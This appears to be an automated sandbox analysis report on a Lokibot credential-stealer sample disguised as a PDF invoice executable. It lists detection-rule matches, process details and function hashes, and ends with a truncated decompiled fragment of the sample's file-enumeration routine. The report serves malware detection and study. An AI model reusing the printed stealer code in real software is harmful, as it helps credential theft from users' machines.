Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.236197890.0000000004079000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.235870525.0000000003224000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.235301021.0000000002F31000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: PI_Nov9071011998_ENTRUSTpdf.exe PID: 5572 Parent PID: 3476

General

Start time:	10:02:25
Start date:	03/12/2020
Path:	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xa60000
File size:	359424 bytes
MD5 hash:	2349D50A67C2EF85661EF2BE6DEF2CC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000002.499756661.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: PI_Nov9071011998_ENTRUSTpdf.exe PID: 3476 Parent PID: 5668 PI_Nov9071011998_ENTRUSTpdf.exeCOMMON

Executed Functions

Function 054F5C28, Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.238287409.00000000054F0000.00000040.00000001.sdmp, Offset: 054F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7eefdc7a5ef9631496340d323f63e4230ff6f39853888ff6db7801389d6e3ac
Instruction ID: 631b94b791e47ba4b3add0cf4ae349299daf9f650b8c3fe663cc6b5e00b0a898
Opcode Fuzzy Hash: c7eefdc7a5ef9631496340d323f63e4230ff6f39853888ff6db7801389d6e3ac
Instruction Fuzzy Hash: D552FB347006448FCB99EB79C494ADAB7E3AFC9308F50486DD61A8B365DF75A805CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01589650, Relevance: 1.7, APIs: 1, Instructions: 195COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 01589896

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: bfea6e41ff016815060c56c3ddc1eefde4e6db09c29977d7c769b300eba1257a
Instruction ID: c8946f3a401cbeae4f335bba33d03b0d7f79de588800fc3e438bb05f29c5a94a
Opcode Fuzzy Hash: bfea6e41ff016815060c56c3ddc1eefde4e6db09c29977d7c769b300eba1257a
Instruction Fuzzy Hash: F6711870A00B059FDB64EF6AD4407AABBF1FF88208F10892DD546EBA50D735E805CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0158DBA8, Relevance: 1.6, APIs: 1, Instructions: 141COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0158FDCA

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 2cdf3ef4afd7bf45d25c230314da9fb6c40e16e339d3fc64f7a7146b4adc1a16
Instruction ID: e602d5630eeee853e64d0086a19828754c973f89f4cea120a5626d144ffa80f2
Opcode Fuzzy Hash: 2cdf3ef4afd7bf45d25c230314da9fb6c40e16e339d3fc64f7a7146b4adc1a16
Instruction Fuzzy Hash: 28511EB1C043489FDB15DFA9C884ADEBFB5BF88314F24856AE908AB251D7709845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0158DC08, Relevance: 1.6, APIs: 1, Instructions: 127COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0158FDCA

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f6cfffbb1c43d952f7a376b2981af66dcd3320c019b5cb0a0d1c9800ec1bbb32
Instruction ID: b4bf33783508b81c551309f05d341fbd801f64e95d379e5a45eb3cb4b9f52825
Opcode Fuzzy Hash: f6cfffbb1c43d952f7a376b2981af66dcd3320c019b5cb0a0d1c9800ec1bbb32
Instruction Fuzzy Hash: AB51E1B1C003489FDF14DFA9C884ADEBFB5BF48314F24852AE919AB250D7709845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0158FCAD, Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0158FDCA

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0e917a89e1df0ea39a506e95f66c790932c7fcf319071ca1da11f789e21923f9
Instruction ID: 930a60dcfc17a2fafae08e66a45d5d3a61351e5451120c44925f665a91776058
Opcode Fuzzy Hash: 0e917a89e1df0ea39a506e95f66c790932c7fcf319071ca1da11f789e21923f9
Instruction Fuzzy Hash: 7351DFB1D003489FDB14DFA9C884ADEBFB5BF88314F24812AE919AB250D7709945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0158DC24, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0158FDCA

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 456ade9454c7e61055d2f4fbe23c431aec8a2a64395cc49b8900bb780d5865f6
Instruction ID: fbf1879e7755b2257aff52b638d4d8d5e6d4a58d196f8caab13619a16740959f
Opcode Fuzzy Hash: 456ade9454c7e61055d2f4fbe23c431aec8a2a64395cc49b8900bb780d5865f6
Instruction Fuzzy Hash: 0951DFB1D00309DFDB14DFAAC884ADEBBB5BF88314F24852AE919BB250D7709845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01585344, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01585401

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9fe85a64e1b9174e993eac52763eb7b5f5b8bf5daf645d02f8e34b6e83319cc9
Instruction ID: c9d5073f9d5acadab255cd690f2c8cf0cb8fbf5fea2086dae75ea8212aed0cdb
Opcode Fuzzy Hash: 9fe85a64e1b9174e993eac52763eb7b5f5b8bf5daf645d02f8e34b6e83319cc9
Instruction Fuzzy Hash: 6E4101B1D00618CFDB24EFA9C8847DDBBB5BF48309F24806AD408BB251DB74594ACFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01583CAC, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 01585401

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3cf79ebd90762f56cf907d32bb75e6ece2e0f9910f937623aac326154ec77b8c
Instruction ID: ee57ba22a1a19f6a1ab361a60d813e7d4b31848094364679140d1fe9780abb0c
Opcode Fuzzy Hash: 3cf79ebd90762f56cf907d32bb75e6ece2e0f9910f937623aac326154ec77b8c
Instruction Fuzzy Hash: 7F41F370D00618CFDB24EFA9C8847CEBBB5BF48309F20806AD508BB251DB755949CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 054F22F0, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 054F23B1

Memory Dump Source

Source File: 00000000.00000002.238287409.00000000054F0000.00000040.00000001.sdmp, Offset: 054F0000, based on PE: false

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 1e99848f7fc3aa1443720e356813afba6ce63615d21e182b45fb8d8246ef4ebe
Instruction ID: 00d81d0aaac2c00ce6ceae7d5bc6eaa44bf5b0bd2a659f1d28b06bd63e167c7d
Opcode Fuzzy Hash: 1e99848f7fc3aa1443720e356813afba6ce63615d21e182b45fb8d8246ef4ebe
Instruction Fuzzy Hash: DD412BB89042059FCB14CF99C888BAABBF5FB88314F148499D519AB361D774A845CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01589579, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0158B83E,?,?,?,?,?), ref: 0158B8FF

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2a2261d4e52cfa7129edb4f3bcc8c21af80b7394126dbcd9c4118ae856344d70
Instruction ID: 3aa370948ffe870007c9160d50e45044c5b73b212c57bafbd0da4f27a6e4552d
Opcode Fuzzy Hash: 2a2261d4e52cfa7129edb4f3bcc8c21af80b7394126dbcd9c4118ae856344d70
Instruction Fuzzy Hash: DA2124B5800248DFCB10DFA9D884AEEBBF8FB48324F14841AE914B7311D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 015895F0, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0158B83E,?,?,?,?,?), ref: 0158B8FF

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 200a17840ca890df6891bbce6f7507d014cb79be7ee6826a1ec067532ae5ee86
Instruction ID: 3b47374fc0aa55f9e054fe50f67f3919c7665bab0b6e97bcba0cf2d2061b78c5
Opcode Fuzzy Hash: 200a17840ca890df6891bbce6f7507d014cb79be7ee6826a1ec067532ae5ee86
Instruction Fuzzy Hash: 7621E5B5900248DFDB10DFA9D484ADEBBF8FB48324F14841AE914B7311D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0158B870, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0158B83E,?,?,?,?,?), ref: 0158B8FF

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b5bf940a95c8c8b0bcaeeaae8f28e7ac7f6407d253344abac2692ad585724565
Instruction ID: 60384e6135b8bf0c7ade157011c3583e823d21802872bfd981e3cf8d79000d41
Opcode Fuzzy Hash: b5bf940a95c8c8b0bcaeeaae8f28e7ac7f6407d253344abac2692ad585724565
Instruction Fuzzy Hash: 8221E0B5900248DFDB10DFA9D984ADEBBF8FB48324F14841AE958B7311D378A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01589268, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,01589911,00000800,00000000,00000000), ref: 01589B22

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e50ad168e229d641e8c630b76f751cef3c399235ead339a9d6dd4563f2550d46
Instruction ID: 774d254c34f5f08b08f3493e0f22b256fe0d0e1e72dcb11a8034265590a07955
Opcode Fuzzy Hash: e50ad168e229d641e8c630b76f751cef3c399235ead339a9d6dd4563f2550d46
Instruction Fuzzy Hash: 391103B29042488FDB10DF9AD444BEEFBF8EB98324F50842AE519BB600C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01589AB0, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,01589911,00000800,00000000,00000000), ref: 01589B22

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 07a603c155590804a73184995ea4ffda599b75e2c0644a062bc7ede54febf250
Instruction ID: 6bbe6f581315f1268558f1adb7ab68a9522ee20deddb3dc9715a210ad9fb85b2
Opcode Fuzzy Hash: 07a603c155590804a73184995ea4ffda599b75e2c0644a062bc7ede54febf250
Instruction Fuzzy Hash: D41100B68002488FDB10DFAAD444BEEFBF4BB98324F14842AE519BB700C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01589830, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 01589896

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 06499c53a2ed04769ab2bc3afd1640f142a1f90e80286a76e80627cace9ee468
Instruction ID: 407ae94fde2ec0c4ba57141ddeb0987105955d074cee32e4e85d146e3068c528
Opcode Fuzzy Hash: 06499c53a2ed04769ab2bc3afd1640f142a1f90e80286a76e80627cace9ee468
Instruction Fuzzy Hash: 2A11D2B5D006498FDB10DF9AD444BDEFBF8EB88324F14842AD519B7600C375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0158DC5C, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?,?,?,?,?,?,0158FEE8,?,?,?,?), ref: 0158FF5D

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 3132a67f1bd9604ee1a0816080d90edc9c2a717355deb31782a8979f6895f97a
Instruction ID: 98059c02b9384871104f4bea7e7b050130dfec9d5885a1f02c9ca92def9f321a
Opcode Fuzzy Hash: 3132a67f1bd9604ee1a0816080d90edc9c2a717355deb31782a8979f6895f97a
Instruction Fuzzy Hash: 121106B58002489FDB10DF99D488BDEBBF8FB48324F10845AE919B7340C374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0158FEF8, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?,?,?,?,?,?,0158FEE8,?,?,?,?), ref: 0158FF5D

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: f8b068af51963c5183b36455c783a901e0410df256f4ae231cd9864f67576130
Instruction ID: fe5543a629750aeeb2ba9a5b73914c8f3d6dbf04563984b7fe02a1205dd1d85b
Opcode Fuzzy Hash: f8b068af51963c5183b36455c783a901e0410df256f4ae231cd9864f67576130
Instruction Fuzzy Hash: 2A1136B58002089FDB10DF99D488BDEBBF8EB48324F10851AE918B7300C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0152D5D8, Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235056679.000000000152D000.00000040.00000001.sdmp, Offset: 0152D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6843f582403ade1cdb6819270d26ec6ac6a7a781e8e1b301e549c3c661acff51
Instruction ID: 586eed2a0ce4a119146746c46f47805a337d5eb94097c205c2531dff6826909a
Opcode Fuzzy Hash: 6843f582403ade1cdb6819270d26ec6ac6a7a781e8e1b301e549c3c661acff51
Instruction Fuzzy Hash: A421B5B2504240DFDF259F94D8C0B16BBB5FB89314F2485A9E9095F286C336E856CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0152D4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235056679.000000000152D000.00000040.00000001.sdmp, Offset: 0152D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 759565c9ad31209ed34377d02b6398a1cb8fad18370e82fbea5868c83b3b8014
Instruction ID: 342eac95cf11ddaa7561ea28d2c857c47cf68b1837ad36213eddef98fe2e4f41
Opcode Fuzzy Hash: 759565c9ad31209ed34377d02b6398a1cb8fad18370e82fbea5868c83b3b8014
Instruction Fuzzy Hash: 872106B2604240DFDB11DF54D8C0B2ABFB5FB84318F24C5A9E9054F286C376D856CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0153D1D4, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235080601.000000000153D000.00000040.00000001.sdmp, Offset: 0153D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 053e6f27a5b638cfa4e575df43b9b211e6cdc3f835f94a2470667eaed349e9a8
Instruction ID: 37e0f3f1009cfd5c0269f4ab37d8b3a5e3d38b90d397ff3340eeacaff00b4650
Opcode Fuzzy Hash: 053e6f27a5b638cfa4e575df43b9b211e6cdc3f835f94a2470667eaed349e9a8
Instruction Fuzzy Hash: 5A21D3B15042009FDB11DFA4D9C0B26BBB5FBC4324F64C9A9E9094F246C736D856CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0153D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235080601.000000000153D000.00000040.00000001.sdmp, Offset: 0153D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19a8f9d883d51c5b5a73e2bcc53b6c2e3d7c0a244c72574211aa237b196ed607
Instruction ID: 5b8ef23aab6fd0f421c920d63b3e79544cce50933388611e52c721153d922213
Opcode Fuzzy Hash: 19a8f9d883d51c5b5a73e2bcc53b6c2e3d7c0a244c72574211aa237b196ed607
Instruction Fuzzy Hash: 8D2100B1504200DFCB11DFA8D8C0B2AFBB5FB84754F60C9A9E9094F246D33AD807CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0153D006, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235080601.000000000153D000.00000040.00000001.sdmp, Offset: 0153D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc3a6c501ffa41ff982b2b326c75cda75cb1916b89308c621ccd96d24e971979
Instruction ID: 15ad275f23096c5462ce6d8d6f122e380459c71459cddd40e4ca43a41953c045
Opcode Fuzzy Hash: bc3a6c501ffa41ff982b2b326c75cda75cb1916b89308c621ccd96d24e971979
Instruction Fuzzy Hash: 7F218E755093808FCB02CF64D990B15FF71FB86214F28C5EAD8498F667C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0152D5D3, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235056679.000000000152D000.00000040.00000001.sdmp, Offset: 0152D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2c2f5bde35ab7baba6a3d04d80a937590d4c4778a7de83aaafd933d226a14e4
Instruction ID: c2da9672be827c248639b50d33998e6adabbabe052e7ef72c45b0af96c3cf2df
Opcode Fuzzy Hash: e2c2f5bde35ab7baba6a3d04d80a937590d4c4778a7de83aaafd933d226a14e4
Instruction Fuzzy Hash: C921D272404280DFCF16CF54D9C0B5ABF72FB88314F2482A9D9480F65AC33AE426CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0152D4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235056679.000000000152D000.00000040.00000001.sdmp, Offset: 0152D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db75533cb9b6fa6099b867bfc3a53cb548d3d4cf5ca75b8a66c096981064a356
Instruction ID: c266cd2c1fa98b38b8b7ceeda1e41c21d362d98fe788dc02b6def433e2e922d5
Opcode Fuzzy Hash: db75533cb9b6fa6099b867bfc3a53cb548d3d4cf5ca75b8a66c096981064a356
Instruction Fuzzy Hash: 8C11B176504280CFDB12CF54D5C4B1ABF71FB85324F24C6A9D8454F656C33AD45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0153D1CF, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235080601.000000000153D000.00000040.00000001.sdmp, Offset: 0153D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2843292ebbf6a814d7a2286815bab37d73136ec5010e940f27b85643756957ed
Instruction ID: 2ac5aebdfbe209d5830fd8bf5a0830aecea9b76fcbc1a607463249cc2a4f8b54
Opcode Fuzzy Hash: 2843292ebbf6a814d7a2286815bab37d73136ec5010e940f27b85643756957ed
Instruction Fuzzy Hash: 9311BB75904280DFCB02CF54C5C0B19FBB1FB84224F28C6A9E8494B656C33AD44ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 0152D7C1, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235056679.000000000152D000.00000040.00000001.sdmp, Offset: 0152D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c4c39b5685bfd373326e158f5071ab22d2aaa707488f7837883e2e4965fec8b
Instruction ID: 36c9853788abb65746448d148814488c0353d8e497871170f533b7055b95d4ed
Opcode Fuzzy Hash: 4c4c39b5685bfd373326e158f5071ab22d2aaa707488f7837883e2e4965fec8b
Instruction Fuzzy Hash: ED01A7724083949BEB205B69CC8476ABFECFF42664F18C459EE085E2C6C3B99844C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0152D7C0, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235056679.000000000152D000.00000040.00000001.sdmp, Offset: 0152D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 759571997b5d1ac5376e4c832d8c06868b2455a34fc82027d1d1386e42e2af62
Instruction ID: 643d558c0c59f0604347e60e67fefdc602cf0293bef9a5f606135cc47c240e01
Opcode Fuzzy Hash: 759571997b5d1ac5376e4c832d8c06868b2455a34fc82027d1d1386e42e2af62
Instruction Fuzzy Hash: 4BF062724043949FEB118E59DCC4BA6FFACEB91774F18C45AED085F286C3B89844CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0158E538, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21504f6d6b517ac370ce1e929834892700f53b9a7ac59cc2629585d60ddf650a
Instruction ID: 9f6996acf1f5fd18a8b9eabf520f4bbe7d387e8e8719b32c5f9d31252642179f
Opcode Fuzzy Hash: 21504f6d6b517ac370ce1e929834892700f53b9a7ac59cc2629585d60ddf650a
Instruction Fuzzy Hash: 4412D8F1C9BF668AD310CF65F8986883B60B741329BD16A08D1619FBD0D7B4296ECF44

Uniqueness

Uniqueness Score: -1.00%

Function 0158C0F4, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9296d76ea5d1375ed495124a26c8b541059b5db28b4add538d27d516709218b3
Instruction ID: 92d234de5aafbcc52353c626cd7602eec298425663f41d805938a9069fc578fe
Opcode Fuzzy Hash: 9296d76ea5d1375ed495124a26c8b541059b5db28b4add538d27d516709218b3
Instruction Fuzzy Hash: 0AA16B36E1060A8FCF05EFA5C8845DEBBF2FF85300B15856AE905BF261EB31A915CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0158E528, Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.235162436.0000000001580000.00000040.00000001.sdmp, Offset: 01580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee0550e83efa28dc0ee5430e66fc3525c6cf2317e8d81907e4907c9f18cd0f73
Instruction ID: b96f197134abd5420eb88b0dfdcb5502cd1ae6d0c0a7381b516da15e136f355f
Opcode Fuzzy Hash: ee0550e83efa28dc0ee5430e66fc3525c6cf2317e8d81907e4907c9f18cd0f73
Instruction Fuzzy Hash: 67C14AF1C96B668AD710CF64F8882893B71BB85328F915B08D161AF7D0D7B4286ECF54

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PI_Nov9071011998_ENTRUSTpdf.exe PID: 5572 Parent PID: 3476 PI_Nov9071011998_ENTRUSTpdf.exeCOMMON

Executed Functions

Function 00403D74, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00403D74(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				struct _WIN32_FIND_DATAW _v596;
				void* __ebx;
				void* _t35;
				int _t43;
				void* _t52;
				int _t56;
				intOrPtr _t60;
				void* _t66;
				void* _t73;
				void* _t74;
				WCHAR* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				WCHAR* _t102;
				void* _t103;
				void* _t104;

				L004067C4(0xa); // executed
				_t72 = 0;
				_t100 = 0x2e;
				_t106 = _a16;
				if(_a16 == 0) {
					L15:
					_push(_a8);
					_t98 = E00405B6F(0, L"%s\\%s", _a4);
					_t104 = _t103 + 0xc;
					if(_t98 == 0) {
						L30:
						__eflags = 0;
						return 0;
					}
					E004031E5(_t72, _t72, 0xd4f4acea, _t72, _t72);
					_t35 = FindFirstFileW(_t98,  &_v596); // executed
					_t73 = _t35;
					if(_t73 == 0xffffffff) {
						L29:
						E00402BAB(_t98);
						goto L30;
					}
					L17:
					while(1) {
						if(E00405D24( &(_v596.cFileName)) >= 3 || _v596.cFileName != _t100) {
							if(_v596.dwFileAttributes != 0x10) {
								L21:
								_push( &(_v596.cFileName));
								_t101 = E00405B6F(_t124, L"%s\\%s", _a4);
								_t104 = _t104 + 0xc;
								if(_t101 == 0) {
									goto L24;
								}
								if(_a12 == 0) {
									E00402BAB(_t98);
									E00403BEF(_t73);
									return _t101;
								}
								_a12(_t101);
								E00402BAB(_t101);
								goto L24;
							}
							_t124 = _a20;
							if(_a20 == 0) {
								goto L24;
							}
							goto L21;
						} else {
							L24:
							E004031E5(_t73, 0, 0xce4477cc, 0, 0);
							_t43 = FindNextFileW(_t73,  &_v596); // executed
							if(_t43 == 0) {
								E00403BEF(_t73); // executed
								goto L29;
							}
							_t100 = 0x2e;
							continue;
						}
					}
				}
				_t102 = E00405B6F(_t106, L"%s\\*", _a4);
				if(_t102 == 0) {
					L14:
					_t100 = 0x2e;
					goto L15;
				}
				E004031E5(0, 0, 0xd4f4acea, 0, 0);
				_t52 = FindFirstFileW(_t102,  &_v596); // executed
				_t74 = _t52;
				if(_t74 == 0xffffffff) {
					L13:
					E00402BAB(_t102);
					_t72 = 0;
					goto L14;
				} else {
					goto L3;
				}
				do {
					L3:
					if((_v596.dwFileAttributes & 0x00000010) == 0) {
